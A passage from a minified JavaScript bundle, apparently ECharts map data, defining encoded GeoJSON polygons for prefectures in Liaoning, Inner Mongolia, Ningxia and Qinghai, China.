mIkJÇLm@™UImJUU@aW@U@@nUb™JƒaƒbXVWn@UVmX@V@b„š@l@Lƒ@™lUb@x™nÇaƒbk@@xVJU¦lbXšƒÒ@nUJ@Vmb"],encodeOffsets:[[123919,43262]]}},{type:"Feature",id:"2107",properties:{name:"锦州市",cp:[121.6626,41.4294],childNum:5},geometry:{type:"Polygon",coordinates:["@@nJ@nlmVnXKl@@°n@@¦‚V„bVbUlVL²l°@ƲÈV@LV‚knVb„VVnnWVU‚@XmWU„a„bšIVa@mV@X@@bVVnIVJ@š‚nÈKlInJVUnx°I„V°mVnXJ@LƒLlV@b„@ބƐĬXllV„@Ġ¦ĸ¦naWW@In@manK@UVkXJ@alk@»lU@ƒÅLUWl_@ša²£‚Kkm@kƒwVmULmƒ@akIUa@U@WUUVU™aÝ@ğ›wkƒƒmĉ£UWƒ@@bÇL@m—a@_mKƒlƒXUwKƒLţÓ@UWw@K@U„I@m™U@UV¥„@°UnJ°@@_™KUwƒW@UnaWUmmI@m™ķwUaÇLóVĵwݙUUW™¯šƒ¦Ux@V„b@šƒxV°X„ƒKWbK@n@nW‚@UL@lWL™m™zUVVbUbmWXXWJ—b˜n@Vkl@LlVUn@xnV@bln"],encodeOffsets:[[123694,42391]]}},{type:"Feature",id:"2103",properties:{name:"鞍山市",cp:[123.0798,40.6055],childNum:4},geometry:{type:"Polygon",coordinates:["@@l„œxĠŽÞ@šbV@@w°Vna‚@Uk„V@K@UUUVa@K@w@UnKmUVan@@Uma@UXWƒWK@IUK@amW_XKVLlKna@kmKVak@VU„@VmšU@anIÆan@‚a„šUVnb@blLV`ÞLlU„bna‚Kn@naVU@¥°IVK@anUUKVaƒUVak™@mJƒkXƒ™UVwkƒVUUa°U@Wƒ@WlkXWlIXUlJlaœx‚IVVXLšll@nLV@lLXl„KĊzš¥maUƒlkXaVK„X°y„Ila@aVkala@a@¥„IUy@WmXaƒ¯kU@U@mmUƒƒULkmm@ƒ¯VmnLVU@a™ƒ@U@±w@™VWIkymLUUkJWXƒJkUmxk@™xUI¯`mUULmƒ¯„m@kxVVbWV@„UVƒIUx@bkšVšVVšxUbVV@V@zšJVXU‚lnk@@lkLƒlƒLUU±Jkšm@UIUVƒLUVU@™K@UƒnnV@l@Ll„ƒaUJ@zn`@nWlƒIUVUUUV±Ln‚@nmL@VUVkLVlUxVLVlÅXma™@@akLmWUX@JUnVJVkXJ@X@`WX„VUVUIlb„W@bVUVL@`Un@¦U`@bUV@z@Jm@@XV`„LUL¯J@IVKmKÅI@J™nWVnLnšVxV¤™z@bmV@VUV@bUL"],encodeOffsets:[[125123,42447]]}},{type:"Feature",id:"2105",properties:{name:"本溪市",cp:[124.1455,41.1987],childNum:3},geometry:{type:"Polygon",coordinates:["@@lb@Vn„lnVVUb@šVJ@nnJ@bmXUx@xVbkbkŽWLUxnl@Ul@„xWx@nUV@¼Ull„knkK@bmbnl‚LVJX@VIVJn_lJVVšXUmnU°VVVUnVVšLna°V°w²@lw„bl@XVl@VVšIn@„wWWnUVk„JVUƒw@šƒ@anaVkš@@lnLlalKnk„mšK@_lKnlĊXVb„VVLV`nL@lUL@„@L@‚VbV@@V@bn@lxn@Vb„alI²mVL@Vl@nVš_VVnJV_‚@nV„K‚V@Xœ‚@b˜kXbl@XblylUUkš™@Xa@UVIlK@UUWVU„Llm@UUUnKWU@K@UXm„XVa@U°KVUUWUk@ašUVKkaWkƒKUknaWa@U—@m@mk@ƒaUJk@@_WKkLmx„l@nUJmIUWlIUaVWVXn@xWLk@@aƒJUI@Uƒ@UVVxm@UVk„mb¯VUU¯JWUƒ@Ån¯aUbÇ@ÇlLmWƒXkbƒƒk@UƒƒIÇVƒUXW™wÇnk@±aU@@bUVUKUXmVƒ@kaUm@k_±l™@XwVa@kVK@U„Wm—VaUmVUUakLUWWnÛKƒVW_—m±V™nƒU¯@Umƒa@Xk@ƒl¯V"],encodeOffsets:[[126552,41839]]}},{type:"Feature",id:"2108",properties:{name:"营口市",cp:[122.4316,40.4297],childNum:4},geometry:{type:"Polygon",coordinates:["@@ĊĖÆn¤„„°Ċ¯ŎWšô„@xXb‚wnKl@nX@VUVƒKmL@VU@Ux݄@Vlb„x„U@VUb@b‚kœ`‚IUlVUn„V@@UV@@JnXlK@bš@nbÆWUkUKVwUklKVU@UnK@mm²KVUVVVU„JXk@mm_@yVI„bkƒ@K@kmU„m@VšLV@VU„KVUVJn@l™²IVV„K„klK@kl@kmVUW™I@y@UUUVa™wUUU™l™@akmmVaUKmIUaƒJk@ƒwkaóIWWÛL@UlmUIU@WW@UnUUm@wmIVK@Kĉ¦™@bWKk@max@bWXkamKƒ@mVkKmxÛaWX@xUlÝnJ"],encodeOffsets:[[124786,41102]]}},{type:"Feature",id:"2110",properties:{name:"辽阳市",cp:[123.4094,41.1383],childNum:5},geometry:{type:"Polygon",coordinates:["@@š`Vz„‚Wn„VUV„L@bVbVJ@IÈbVb@lVLXW‚n„š„x‚LnKVŽšb@„n@Vbn@mƒ„V@šl„IVa„@@WškVV„I@KVLVanJV_VW„UV@nn„JVI‚Vn@na@alLlmkƒVk@»VU@mXwƒwk@@VmkVwXKllaUa@wVwnW@amI@mUI@™VaUUkmmƒ@UkaƒL@ƒUIĉyƒLWkkKU@mKk@™kWKUUJ›wkbkIWVkJWXkl@X„‚@X¯VVbUVl„UxšVW„„lnIš@l‚Ub„VUbVLmV@bUL¯J@¦UVmbm@LmbƒakVÝKU_kK@amaVUƒ™bm@ÅbmJ@b™VUnƒ@UVl@UbnL"],encodeOffsets:[[125562,42194]]}},{type:"Feature",id:"2111",properties:{name:"盘锦市",cp:[121.9482,41.0449],childNum:3},geometry:{type:"Polygon",coordinates:["@@Vbĸx‚š@nnJVnXŽmb@V„XVxšL@`¯@mI¯Vƒ@U¦@VšV@nƒJ@V@LXx@VŤÔ„K‚LVx„W„knL@`˜b@nÈK@a„@VXĊ¤„nVK@aVU@UnU@ašyU£Uwm™mKXUšm@IÆJnLUL@J°IVKƒKU_@Wn@@I@yVU@aV_@¥Vm@_UKUV@aƒXkaVJVUƒUXW@_@WWIUlUIVm@IVW@IU@@VU@mƒUVVkJ›_l@aVa@UƒVƒwka@UރVwV@@UnK„LVU@UmWk@mLxWa@wóƒUVUIÇÆĉ¦¯¦¯xʟJ"],encodeOffsets:[[124392,41822]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/nei_meng_gu_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"1507",properties:{name:"呼伦贝尔市",cp:[120.8057,50.2185],childNum:13},geometry:{type:"Polygon",coordinates:["@@„m@Łkƒ™Žƒklƒôƒ@£kJ°ý™ɅķÑó¤ğLĉÅlÇğŁW¯¯›™ƥóÿlwkţÈéÝƛó™°ÞÅxV¤ĉĖWƒ¯lȭţυ̃ɱÿķƅˋğɱřÝţϙȍƧĊţ@¯kWKUKm¹Å@ķJU@ƧÑƧ„ō¥˹Ɔ@L@„Þ‚VLnš@VōČWJX¦@JŻbU@ţÞmVU@ȁýóbkWWLƒƒÅ™¯UWġkmóƒ±UŹôV¼ƽ¼ƒł̥ĖƽǬʉxĉŽŻȗKΕ̛ʵƨʟÞ˹»Ƨţ»Ǖō˷Ȍ±ȚʊĠUɾɜɨmÜ֞߼˸ƅȂ¯ǖKˢğÈÒǔnƾŎՂ@šĊbôô̐¼ƒ@ĊôĊŽÞĀ™xšĖƧL±ŽœŽ‚Uš°U„°ĬƒČ°ÜƒêɴȂVł°@ƒ„nxŎèƒbȄÞȌ΀Ǹl޲IlxĊl²ÒmšôĖ™Èl„ĵºm„ÈêVþ„xɛČʉÇĵVmš„ÒƒÈɆôƐŰǀĊ°ÆǬĮƾb„yĊ@ĠšƒXǀċm»ôw°Ûk¥Çm¯ç™kkÇǫţǕéX_ĶWǖīŎaÆĵĸĊ@ȚȘ‚™ĊLĢĉ„VÆĉʊÇĕóaU¥šĉ°mkŰġUĠřk°mƒÑČÿ˜ÛƒWĸ£ʠšÆxÈÞŎÞ»ʈ²ĊÇČalÒ°Ť±ĸz„ŽĊKȲm¤Ŏ@Ò°¼nyȂUźīǖƳÈē°@šÝ̓@ƒÈkl¥Ççkxk™›JXÇƒUÅ@˜£k»„óƿīÛ@lÅJl¥óý@¯ƽġƍÅan™ċ™°é¯¹"],encodeOffsets:[[128194,51014]]}},{type:"Feature",id:"1529",properties:{name:"阿拉善盟",cp:[102.019,40.1001],childNum:3},geometry:{type:"Polygon",coordinates:["@@™ƏnǟƨʫšŹɆÿ°¯ÆV²ˢ™żÿ@ÝÆŁȰ¯ȀƳĉó™™@ğkyš¹@īš›ƒwl£Źƒƒ¯Ŧé@™ÇÇxŋĉƩUUŃōL™Ç™ĵóÝnƒóç@™™ó@ġƒƱ„¥ƒç™WUçÆōƒ@é—çťK™çȭVһƽ̻aW¥ȁ£ʵNJǓƲɳޗǔlżÞmĠóĬȂɲȮ@ÈĢŮźÔnĶŻǠšŎȭœгŃċóȭţΗÆƑÞƧÅΫóȘǫɱȁġlÛkǰȁÈnšõl¯ô„ÞɛÝkĢóWĊ„zÇɼʝ@ÇÈķlUČÅÜķnέƒǓKȮŎŎb°ĢǀŌ@ȼôĬmĠğŰōĖƧbЇƧōx@ķó£Ål±ĀƧīXÝġƃêĉK°Ýʇƅ@ΌʉżÅÒϱʈ@˺ƾ֛।࡬ţશóЈèʞUš¤Ґ_޸Ƒʠɽ̦ÝɜL׈ɛϜóȂJϚÈ@ǟͪaÞ»Ȯź"],encodeOffsets:[[107764,42750]]}},{type:"Feature",id:"1525",properties:{name:"锡林郭勒盟",cp:[115.6421,44.176],childNum:12},geometry:{type:"Polygon",coordinates:["@@ʶĬĊIȘƨƨŽ@ĬÛĢșŤĉĬƒĀóšU‚ÈŚÜènŦƐȤȄłϰUƨťƾÑ܆ğɲƜǔÈèʈƲĊƞƒšɆ¯̼V˺Ò˺ȂŤVĢêU܃x„Āˌ˘ƨ„ưѢmÞżU¼ÆlŎ@ĊçŎnÈÒͪŎźƒĸU°lżwUb°°°Vš£ÞlĠĉĊLޏɆnźÞ„n¦ĊaȂīġѝIĉůl»kƒ„™Çý„¥Ŏ¯ƒén£ġљÝȭxƒÇ™@Åçķ»óƱŎ¥™çWÿmlóa£Çb™yVÅČÇV»ÝU¯™KĉýǕċţnġ¯»ÇōUm»ğƒÑ™wƏbċÇŎċwˋÈÛÿʉѰŁkw@óÇ»ĉw™¥VÑŹU™mW»ğğljVÿŤÅźī@ř¯ğnõƐ@ÞÅnŁVljóJƒwĊÑkĕÝw¯nk¥ŏaó¦ĉƒV¦Å`ğуÑÝ@mwn¯m±@óƒÛKˍƏǓ±UšÝ™a¯lƒōšșk„èƒĬގn@ŤġŰk°ċx@œĉ`Ƨĕ°@ţÒĉwmĉ@ƒƒnƒƒa„™¥ķnƒÞĉVóÆókĉŽķ@ÝkƧƧÛaƒ°Ç@ÝÈU˜óbݼ@„ÛÒV°™@V¼ˋL™ÞɅŤŹǠVÞȗŤÇĖŚōbȁƜ"],encodeOffsets:[[113817,44421]]}},{type:"Feature",id:"1506",properties:{name:"鄂尔多斯市",cp:[108.9734,39.2487],childNum:8},geometry:{type:"Polygon",coordinates:["@@ĶL²ĬVłƑkkl@Ȏ™ŘWńÈĬȗ¯™ºlz@ĠššĊôŦô„ÒĠ°kÞܚ™n@¤„UĸèĸbŌÈXŽĸLlÒĢxɲÆ¤ÈÛƾJÈݰUšÅĶ»²VW¯ĸJôšbk‚V@ôlbnĊyÈzVôašb@ĸ‚ÞUl°yǬ²Ǭm°ššk„±lbn°@È»˜JX„VŎÑÆJ@k„LšƒÆl²™Ġ²ʊůĊġ‚řóƛÞÅ@m„ƒmLUÿóĉƧ@™»L@„›`ČĸmšȗÑţů±ĉğl¯Ā™wǎƒçƧŤÛI@±ÜĉǓçō°Uwô™ǫůķƳř±bÅ£™ÓÇwnÑó@ȁƽ@™ƒÇƧĢón»ŏĕóĊ¯b„Å™™VȯÅImƒōKU„™LǓ±Ýxċ—ŋ˜V±Āȗ°™„Źl±šÛ@WÒȁŚŹНŚÅèŌô„¼°ȰɞȂVĊ"],encodeOffsets:[[109542,39983]]}},{type:"Feature",id:"1504",properties:{name:"赤峰市",cp:[118.6743,43.2642],childNum:10},geometry:{type:"Polygon",coordinates:["@@ɲŁĢljĊwƾōÞĭ°_ŎŃźȹƒUČÿl»¯ôķVÿǬƽ™ɅġÅÑǫ»̐ʟȣU™¯wVWݍÈġW»Þ¹m݃ɛŎÿŎōͩůV¹›ō™éċ™óŹÅVVĢǩʈ@Ėċ@ķšÛšV°¯xÇÅţ¥™»°Ûô™ĉʟ„¥WýČ¥™w‚灻±mnÅķ¥ˋVƒbUÒġ»ÅxğLƧ™ƒbWĖÅxš¦U°ÝVóŰlô²@š¥ÜÞÛô„V@²±`𦙄™¯Ý@„ŽÅ„VÒō¼ôš™¤V²ŹĬÇĊƑƒţxƒç¯Lk»ʟlƽýmłÝÆƏ@mö°Ġ@ŚŹĬţÆUĀĠNJĠŽX¼šnźVUҚ¦Ċxȼ@ôlx¯łʊÒÜĀˌÇČxƍČÈƐašx„ÒĠŽn¼ŎVȐ‚¼Ģ°ŤmǖČĊþšLV°ÞŽU¼ċÈUƚzÈa‚¤ôbkŽ‚nXšè"],encodeOffsets:[[122232,46328]]}},{type:"Feature",id:"1508",properties:{name:"巴彦淖尔市",cp:[107.5562,41.3196],childNum:7},geometry:{type:"Polygon",coordinates:["@@²@Ζǀݴʶհĸ„˜ƒ¦Ķ™̒Uˌ¼ӾÇƾ¼̨UÞĉ˜Ƨ—éÝ»ƒĕĉ—ƐȍœōǪakó‚ó¯a@™ôţ™aV¯Þ¯°@²él¥ĵğťwōxó¯k±š—Vó@™aóbUÇyĉzmŽkaóŽU@l™aó‚ķIX°±Uĵ¼™Æ¯VÇÞƽIÇÜÅ£ɱŽġwkÑķKWŋÇķaķçƒV@£šmۙlÝğ¯ƒÑťóǿƴȯ°Åł@ÞŻĀˡš±ŽÅU¯°ɅĀ™źƧʬmǠšƐ"],encodeOffsets:[[107764,42750]]}},{type:"Feature",id:"1505",properties:{name:"通辽市",cp:[121.4758,43.9673],childNum:8},geometry:{type:"Polygon",coordinates:["@@ôƲĸ¼Æèš@„ÈȮwƾ»ʠĢ¥VÆ@²¥@»Ŏњ¯ĊJŤ£k»ÆÇX¯̼ōšī°aX£ôƒƾȁꥄƒ™aôŤ™ĢL°ƒĸ@Ȯ¼ÈÒʈŚôVXůÆaĠƛÈKƒķšĉôÿ@ğÈĉ™»ÇVn™ĉV›wXĠݰšČÿĸwVƒ™¯¯ǵ±™ĉ‚ǫ™ÅÅm»²Ż±ƽIm¥ţÈķ@¯šƧJV»ÞUÝç¯UġºU£ţŽóaÅÅlƒƒ™Ƨī¯K¯Þ݃ğL̑ȍƽ@ōŎōĀƑɜnÞݺX¼ÇĢގUX°xVšʠȤ̏Ǭ¼ÆÒɆ̚ŽǫƾUĀóĸ°‚k¼ċĀƑVŹȺōń¯`ÝĮƽŎĉxġNJɱłō¦"],encodeOffsets:[[122097,46379]]}},{type:"Feature",id:"1509",properties:{name:"乌兰察布市",cp:[112.5769,41.77],childNum:11},geometry:{type:"Polygon",coordinates:["@@ʠǠÞĸɲȺƒÒȂƛŎaƙÈĕȘţUÝźǟɆţšÝˌKU»š@U¯ÜÑ@ƒÞ»ôaV—ÞÇÈ@„¯ÜbƨƨÞlĸ@ĊôlôÅĊU„Ýĸmš¦ƒŽ„bm„„„Ċ@n‚ĊxŤÑ@¯‚ƨĖĊ_@›Čwl¯™ƒȭL›Ý„»ƽ¯ķů„Ǔ@ÇǓbċ™ÅÅÆwÿĠÇU£óaƒ¥¯aŎğĠţkw°»¯ůlÝĵkǻݰɱƧǫaóôɱ»Çk¯ŃóƒʇŐŻ›ĉNJŻĢ„ޝÒÈUl°ƒx°n„Ò™Ĭón™Ċğ°ÇŚĉ¦ʵVƒ°°ĬÛżÇJȁńʇʹó˂ƽŎ›Æţ¦"],encodeOffsets:[[112984,43763]]}},{type:"Feature",id:"1522",properties:{name:"兴安盟",cp:[121.3879,46.1426],childNum:6},geometry:{type:"Polygon",coordinates:["@@ÆXnlŎ°@LVLĠþœxĊUȮĊnU„ĠV@żaW¯XIŎġƒ¥Ý@K@w@K@I˺ŻŎ¦ƨƒƨÒŎIÆ@X@VºnX°lŎ@ƾĉˤƒȘǷȘÑÝݚÞbVţĸÿŤxÈĖƐށêÇKnĸ¥ô@›ķÞUnÒl@UŚaƒīˋƒ¯ÑƧx@±kXřƐƏÛéV™ˋ»lō¯ĉ„ÅÇÓǫޗĖġV@ğ»›°ĵ„ÇÞǓ¼¯m˜ÛÅŃĉĠÇƾb²çƒ™šéż¯VƒƒğÞml»ōÑV痻V¯™¯šĕÆU¯y°k¯¯V»ôDŽѰa@Źk™ġKţšóŽšbƒ„ʦƽȂó„W¤¯b™Ĭ̻ŎW°ÅÈl¼ţ¤ĉI™°ōÒ@¼±¦Å@UŽġ¦ʟŽƽ¼šÞĢÒm¤„êō°ƒ¦Èþƒšl„k¼Ċ۰JĢńȁĬ„°ƒżn‚ÇbV„ݼ@¼óĸţ¤@°Ånšl"],encodeOffsets:[[122412,48482]]}},{type:"Feature",id:"1502",properties:{name:"包头市",cp:[110.3467,41.4899],childNum:5},geometry:{type:"Polygon",coordinates:["@@źxżĀǔÆǬVȘĀŤ¥œÅƾōôˁʈͳȂŃÈIÜŻ¯ī„¯ōm™¯ɱ˝ƒķÒÝIÝ»ÅV™ƒlÅôфġ™ğVmÞnnƒWçkW܁XƝÆwU»Șĕš£ĉÑ𱱚Åk™„ƒK@lÅIō҃UW‚—IǼ¯@m‚kaƒ²™l¯™ǫnǫ±¯zkŽÝVķUô™˜l²ô°ŎwŦxĶĠk¦±ê¯@ݰU°šbóŤ@š°bôlôǩb›ŎƏȎĊ˜„ĖÞ¼˜ê—ƨÝĊ"],encodeOffsets:[[112017,43465]]}},{type:"Feature",id:"1501", +properties:{name:"呼和浩特市",cp:[111.4124,40.4901],childNum:6},geometry:{type:"Polygon",coordinates:["@@ʶUĊ¥ÈřĠ¯šĉômšīƒÑ¯m„wk¯ÇV°ÑƒżġĊljǓɱţǓ›ƝóX¯ƒɛÒóa@nÝÆôƜŚĉĢʉŰĊҙ¤ȗĖV¼ÅxWƞۂlXXèm„ÝmUnšĠƒĢóÒkƚ„ÆUÞ¼ÞJĸѰ„ɲĕš°Ŏn"],encodeOffsets:[[114098,42312]]}},{type:"Feature",id:"1503",properties:{name:"乌海市",cp:[106.886,39.4739],childNum:1},geometry:{type:"Polygon",coordinates:["@@Ș°ÇīXњŗ@ȍlkƒlUٱīĵKō¼VŽÇôXĸ¯Ž@šťê„°ź„k¤„x™œ@Ĭ"],encodeOffsets:[[109317,40799]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/ning_xia_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6403",properties:{name:"吴忠市",cp:[106.853,37.3755],childNum:4},geometry:{type:"Polygon",coordinates:["@@nLV‚@šVLšaÞbn@@l˜š@bUVlUV„zVx™¤kÞVèšXnš‚@nm°a@UƒÑ„@VŽXnV@Va„UšŽVKUUU@@U‚@@KVa@U²@‚wXkWnk„±lLnU@UmmVKnIVWnI@UK›@UK@@UVKXkmWLWUXmlkVwUyVa@w„w@aVI„K@aVÈw„KlLVV@LnV„VVnU‚ܲ°WÈIUÆ@nÞ¼‚‚@¦™@UÞUVW@UxUxVn„b„K‚b¯ÞU`VbǬ™V@XXÆVVl°InmnUôƒ°¯‚anam£œWVX‚KXmškôaVU@ƒVak@@wmaƒn@K@UÛUWKXUƒÇƒ@UI™b@alW@akLUKV@@Ukw±Iš›nL@kmwkWmk@JUIƒůVmnnU@m@UƒK„VKlkUwkƒƒnVUKmbkI±š—KƒkmVkKƒb@U@aƒVkUmn™`kIlaUK@UUKmbUIݚUa@mUa@aƒ„m@UUULUK@bmKkbWI@WXwlkXƒWa@k@kKƒLVkkK@L@JUVmzUKlwUUnW˜£XVlKUwVU@aXI@aWaUw@W@_nam@¯‚UkWVkUWaU@nwmJkUVkWVUmUkJ@ImbUaƒ@@WÅ_mJknmak@@mƒXƒaUV@„ƒxUšƒ„@‚ƒ„@VUnkVƒ@Vn@`ULUbWLXVW@kbUJ@XW`@ƒnÅĖWJƒ@—m°@xƒxšbnUa‚w²lƒÞ°xŤIVVULۂWbšbkVVXÆ`UbVL„@kx°LlV@Vœ„WbƒJn@bl¤ULV„°@lmL@ƒƒ£U@@aUwmKULVxUVVx@„™@kU™@mK¯LÇa¯@"],encodeOffsets:[[108124,38605]]}},{type:"Feature",id:"6405",properties:{name:"中卫市",cp:[105.4028,36.9525],childNum:3},geometry:{type:"Polygon",coordinates:["@@°@Èb°KnLš@lVš@@ƒUwVUUwVKnLVx@bV@„¤@„nK@k‚¯UƒVKk£@a‚m„IXa›ƒ@UkU¯Klwƒ@UKVaÅ_UWlU™aXa܁VKUUţJ¯w„ݱkxVbmŽ™a„w@wn¯˜„@XIÆĕ„m‚@X_@WVIlaX@WUXKVaVK@_Um„@lUVm@U„ƒ@„ƒV™„w@ƒVUÛwm@@W@ImKUkU@Ua‚aXƒ@wWaUKkw@UVaUamLU™nk@»±`¯@k—W@Ua™ykbƒI„„@VWJkLWUkJƒwU@ƒn¤mL¯wm@Umƒ²XVWbnV@bmxƒVkxUblLUV@kVWKU¼ƒŽkUƒ@mn@JnV@bUnmJUn@„k‚@XlxšLVVnKlLVV@š@LkKULVbk`WL@lkXW@kVƒ@UÞUlÇX™lkaUbmV¯@@L@šƒV@bkb@xƒlW„—bƒbW@—±@UJ@IU@mVk„VxV@@l„Illœn@Vm@ƒVUbl„@JLmKÛXmVkU›KULU`@LĉwƒKUX„lVUl@Vb„JX¦̼bÞxŎxɜĖĠ„Ŏaô@"],encodeOffsets:[[108124,38605]]}},{type:"Feature",id:"6404",properties:{name:"固原市",cp:[106.1389,35.9363],childNum:6},geometry:{type:"MultiPolygon",coordinates:[["@@Vnn@°xnK‚£„mV@„xlIXVlKXI@Uƒƒ„JlašzVbX@l˜°@²_@¼mlVšnKVbUb@VlxVLXb@xW„bVbV@VlnL@J@Xn@Üx„b„W@nl@nblmnIÆ`@X„@Vbna@aVUUWVkƒ@kbWakbU@VwšW@_l@nmn@@alVlk@UkmVak@@a‚UXaƒL@¯@KVa@axWI@KnkVaVJn_lJ@„X@‚m@nVanUVb@mXLlJ„VWnLla„VVaVX@KXVVkVKlknKVa@aVU@KXb@klJUknUmƒ@K@_UW@alIUamaU¯kJma@IUK@U„@@UW@@aXLVƒVJVaXIƒKlaUkUV@ambUUJkIWJ@wUI™V@JU@UwV@@Um@™nU`@UkUmVUxWUUV@aÅb@aWXkKUUƒUUaWK@wnm@IVU@aXwm@UmVaUalk@anKUwlƒUwlkK@wmaƒUkmmIk@VmkUUbW@UVUnW@kV@xkVmbVnU‚™@UbUV@a›k@kkW@„kLW¤@„nV@VU@W_UV™UU`VLUV@IUVõVULU@UUUJ@wmkUJ@šWI@l@bkKkbVVƒbVbUL@UUJ@Vm@@L@xbVVVLVlVwX@Vb@bmUkbk@@JWIUVÅw@Km@UkWKXxWLÅ@UVUnWK@xkVW„@KULwWVXVWzXVVKVXkV›V@VUbV@U„VV@š@LXxVL@V„b‚Ž„LnKVLVxXVmb@l"],["@@@J@aƒU@LWK¯UUxVVn@Ġ„„LUW@UbUUUa@KUX"]],encodeOffsets:[[[108023,37052]],[[108541,36299]]]}},{type:"Feature",id:"6401",properties:{name:"银川市",cp:[106.3586,38.1775],childNum:4},geometry:{type:"Polygon",coordinates:["@@šUšwVK@UVWÞUšbšw„V@knV˜@@KU_VK@K„ƒn@W_XWlL@Vn@Ċw@Ulaœ@Wanamī@aƒ»ŋó@aÆÅɲÿUaV_°ÝaƒLƒaUmVwVwX@VUVݚ@@¥Ý»@mVÅÇJ¯XÛ±VUmƒUmU@KUUkKƒLÇxUŽ@bƒLUJ@bƒx@xUbVzUxklWnXV‚KnXWlUL@V@ŽVLœ@VL@ŽmJUXmJULnn@VmVkKƒ²mlXWlx±@@VUb@L@@VV@VVUL™ƒVUbU@WmUƒ@„Ò@V¯bmn@VŽƒ„@lVnUšnVWŽXVl@¦VVUn@x‚š@‚XL@¦‚lXxš„Vb"],encodeOffsets:[[108563,39803]]}},{type:"Feature",id:"6402",properties:{name:"石嘴山市",cp:[106.4795,39.0015],childNum:2},geometry:{type:"Polygon",coordinates:["@@U¯ķó±ÇÛ¯™ķmbXb›@kb@Vĉxm@@UkKWXX`m@ƒ„@LULV`@L—@mU@lƒU™x™aÝVUX@VUL™x™VkLWVšš@J„nVLXVlŽUV@zl‚VL@V@b„„n@lU²WVLlLVbUŽVxUx@xǀL˜xôҜk‚K²ŽVa‚U@wXa@W™ÈĉUa@‚bÈk„m@¯"],encodeOffsets:[[109542,39938]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/qing_hai_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6328",properties:{name:"海西蒙古族藏族自治州",cp:[94.9768,37.1118],childNum:7},geometry:{type:"MultiPolygon",coordinates:[["@@„V£°š@laœXô±źwš™ô@„Ulƒża܍n™Kƒw@U„aƒ™ša²L‚mÈLƚÈxlaUa„wÞmÜbÞUšnJ°a„kôƒ‚ÑkwÝVğwÇ@ÝkkV¯¥@ò„»„nŤ¥XImw@mVwša@Åw™mLkaW—wƒ¥l»kçƒó„»@ƒWÑĉŽğ@ĉ„™‚Ń„UwóřVómĵ»™™Ý@VǕ¯kšÝĊÅk™°ÓUklkU±šI„ÇÞkƒ±@šƽJƒ™@UġIk@W¦™VÑșÓÅnťKULnޝX›ƒ@¯mUÛ@WřmóKknōbƒxÝ@ƒŽU@kw@ÿÇLţšÝUkšmwƒŽk™lċVŚU¦™ŽƒLkUWlÅÑ@aƒ@ÅѱUóġʼƒÈĉmŻ@@wkw™Kl¯U™ġ@—„lÇU™Ó¯_ƒ‚Waĉ²Åló¼VbknƒKǎÅ@ƧĢō°Ý@ğ„W™ÅxUUm@™‚ÝXۂW„ULUè¯@mbUaƒLƒbUWġxIUJWz™a¯b™y™@ōÈóLU`ÇXUl™UĉV¯n›mÛbǕLklƒUĉVƒšóaġ„ƏbġKţnkbÝmmnÝWȭȃŽÝXţWókUÇl¯U¯‚ġUɅĀ@°¯„„š¯„VÆnmJ@ĊķnóJUbÝXUlVškL@lVxnnmb@¤Vzš`ÞÞŤ@„VnÆJV„°b„UôJkzlŽkl@²óš@ÆÇ°k˃šÇbÛU@lmb™XV˜kzƒV™ŽɅĀXˢlń„ĬŹ@›éÅ@ĉńưğbUšlŽɜ_°‚@xŦ˜škbVbƒKĢ„ŤVŎް@żÈźlĊ„ôKôb@nôxŦ„Æ@ôŽŎL@þÆb@šnnšWˌbÈx‚InaŎxlU@Ѳ±ƒğVŨƨbɲ@Þ¥ôUUķWVô¯ĊWʶnôaŤˁ@£nmnIôŽǪK°xUXô@Ŧa°m‚kXÆÞVŎkĊ°ÞLȄôyVašIlwX°UVwĢÑÜKôw@nV@œm°nmŽn„Ü‚ɞ£VbmŽXnƒ°ÜÒ@xx@V‚b²UlbkxVnšJUnVVĊ°KȚm°nxÇnn¤±¦@ŽUXVV@„lV„„bmVVȁŽVxšÒ™°šIšbźaȃšbVwš@šƒVL„™ƾÑ@ƒŦô¯ĊkôÑ"],["@@„@šƒ„@n„òVœa‚w²bVxšxÜaČVô_ĊJšIVmšL„a°@Ŏ¥XlK@ƒšk„l„KVbUb˜@nUĢn‚aÈ@lmǬ»Ġ¯œn‚mnƒƨVy™Ñǖ™Ġ»ɲInŽ‚@@ÅĢƳ@¯°™ôV„KÈbVIÇ¥¯@Ýó„™@ÑnīWKšƒk™‚k@¥š™¯™Åa™Xƒ±VÅw@±Ġ¯@»™š™n™Wmw@ƒ™@¯ƒVƒUUWçƒKĉ„a±VkkƒV¯w™x@šUJ‚x@bknÇb™mÅ@Uw±U¯¦UŽ™Kmš¯I¯Žť¼ğĊ™@ǃŹÈ¯@Ý»ÇnˡJƒbÛèÇnƒ„ÅK¯„ġĠʐW¼Ålm„@¤n²ƒŽÝb@b„š¯lƒ¯@ƒšÅ¤W„™¼nV@x„„°@Vx„@lbUblbX¼W‚œšÇ²lšUŽ@¼ŽV¦@bÇlVxUbVxÞbVšœbm¦ƒVV„"]],encodeOffsets:[[[100452,39719]],[[91980,35742]]]}},{type:"Feature",id:"6327",properties:{name:"玉树藏族自治州",cp:[93.5925,33.9368],childNum:6},geometry:{type:"Polygon",coordinates:["@@ɆÿĢV°°VÈklVôŤXÞW„ȮÇÞXnmÞnlaŤmĢLƐãôb„™ĊU„VlkǖKÜaœn°mĊUšVVkÈWV_ôKŎǚ@šz°ašbXyVI‚JĢwVX„a„KVbna°@VçVKXƒÜÞWšn@VVÆwXšĠƒÞ@Ŏ¯ƨġÆ@ȍ„LlmUaô»ÆkĊ±Xb„°`šÔV‚kȘƒĢ@Všk°šLlx@xż@Ċn„Çź»ô̲VÆÒ„@@bÆÒXklV„KšV¥Æ™ČUšk‚l„nxl™çƒ¥ċç@±m¥ƒwÅJƒ@™™™Vƒ„mÈIléÈa°U¥™™@kÞV‚K²ÑWƒ°w²Ñ‚K²ñšyƐ„ÝšVmw„»kkWĉ—JWUƒVÅwƒL™mÅ@@ƒmw„kn¥Vу»°™°@@»„¯„Lla„JônV‚UůƒU@W¯Umѯ¯k@WykU@¯„wV¥ƒkVwţƒk»šwWǜĉĶçšK„ƒÞ™ÇaĉbƒI™lUƒ@kwƒWƒXUƒ°w™±@UšKn£Wĉ—KWxƒkĕVƒšamwXw™@™„Wmnk@aƒVkƒ™bĉLƒl™Imm„wUÇ‚Wx™nÝJn@